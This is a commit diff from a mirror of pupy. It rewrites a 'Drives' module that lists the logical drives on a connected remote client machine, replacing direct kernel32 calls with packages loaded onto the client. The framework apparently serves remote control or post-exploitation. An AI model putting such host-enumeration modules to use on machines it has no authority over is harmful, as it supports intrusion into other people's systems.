mirror of https://github.com/n1nj4sec/pupy.git
list drives
This commit is contained in:
parent
5d717cefe6
commit
1b5a1af7aa
|
@ -1,6 +1,7 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
from pupylib.PupyModule import *
|
||||
import ctypes
|
||||
# import ctypes
|
||||
from pupylib.utils.rpyc_utils import redirected_stdio
|
||||
|
||||
__class_name__="Drives"
|
||||
|
||||
|
@ -8,19 +9,14 @@ __class_name__="Drives"
|
|||
class Drives(PupyModule):
|
||||
""" List valid drives in the system """
|
||||
|
||||
dependencies=["win32api","win32com","pythoncom","winerror"]
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog="drives", description=self.__doc__)
|
||||
|
||||
def run(self, args):
|
||||
blen = self.client.conn.modules['ctypes'].c_uint(128)
|
||||
rv = self.client.conn.modules['ctypes'].c_uint()
|
||||
bufs = self.client.conn.modules['ctypes'].create_string_buffer(128)
|
||||
rv = self.client.conn.modules['ctypes'].windll.kernel32.GetLogicalDriveStringsA(blen, bufs)
|
||||
if rv == 0:
|
||||
self.log('Error retrieving logical drives')
|
||||
drives = bufs.raw.split('\0')
|
||||
for drive in drives:
|
||||
if drive:
|
||||
self.log('- %s' % drive)
|
||||
else:
|
||||
break
|
||||
self.client.load_package("wmi")
|
||||
self.client.load_package("pupwinutils.drives")
|
||||
|
||||
with redirected_stdio(self.client.conn):
|
||||
self.client.conn.modules['pupwinutils.drives'].list_drives()
|
Loading…
Reference in New Issue